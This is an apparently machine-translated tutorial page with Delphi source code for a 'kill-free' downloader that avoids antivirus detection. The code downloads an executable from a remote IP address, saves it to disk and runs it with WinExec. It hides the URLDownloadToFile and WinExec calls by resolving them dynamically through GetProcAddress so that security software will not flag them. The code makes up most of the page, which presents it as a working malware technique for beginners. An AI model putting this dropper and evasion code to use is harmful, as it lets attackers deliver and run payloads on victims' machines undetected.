Delphi function Dynamic Call implementation of kill-free

Source: Internet
Author: User

Delphi

Source code-free function dynamic call implementation of the free-to-kill downloader to compile the code to see how much more than n kill soft nothing technical content just sent to the people do not understand the entry to prevent the new person always ask

Shellapi,urlmon

Unit

Delphi Dynamic Invoke API function

Procedure Tform1.button1click (Sender:tobject);

Var

sourcefile:ansistring;

destfile:ansistring;

Down2:function (Caller:iunknown; Url:pchar; Filename:pchar; Longint:dword;

Statuscb:ibindstatuscallback): Longint; stdcall;

Exe2:function (LPCMDLINE:LPCSTR; ucmdshow:longword): Longword; stdcall;

Begin

sourcefile:= ' Http://172.16.126.152/UrlDown/k8team.exe ';

DestFile: = ' f:\bbbaa.exe ';

Once the original function is downloaded, the typical downloader

Common function is a kill, you will kill the road, you can't even see it.

Urldownloadtofile (Nil, PChar (sourcefile), PChar (DestFile), 0, nil);

WinExec (Pchar (destfile), sw_show);

to correspond to the original function

Dynamic invocation

@Down2: =getprocaddress (LoadLibrary (' URLMON. DLL '), ' Urldownloadtofilea ');

DOWN2 (Nil, PChar (sourcefile), PChar (DestFile), 0, nil);

Dynamic invocation

@exe2: =getprocaddress (LoadLibrary (' Kernel32.dll '), ' winexec ');

Exe2 (PChar (destfile), sw_show);

End

//============================================================================================================= = = attached function prototype

Urldownloadtofile

Function

function Urldownloadtofile; External urlmonlib name ' Urldownloadtofilea ';

Urlmonlib = ' URLMON. DLL ';

function Urldownloadtofile (caller:iunknown; Url:pchar; Filename:pchar; Reserved:dword; Statuscb:ibindstatuscallback): HResult; stdcall;

WinExec

Function

function winexec; External kernel32 name ' winexec ';

kernel32 = ' kernel32.dll ';

function WinExec (LPCMDLINE:LPCSTR; ucmdshow:uint): UINT; stdcall;

Delphi function Dynamic Call implementation of kill-free

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.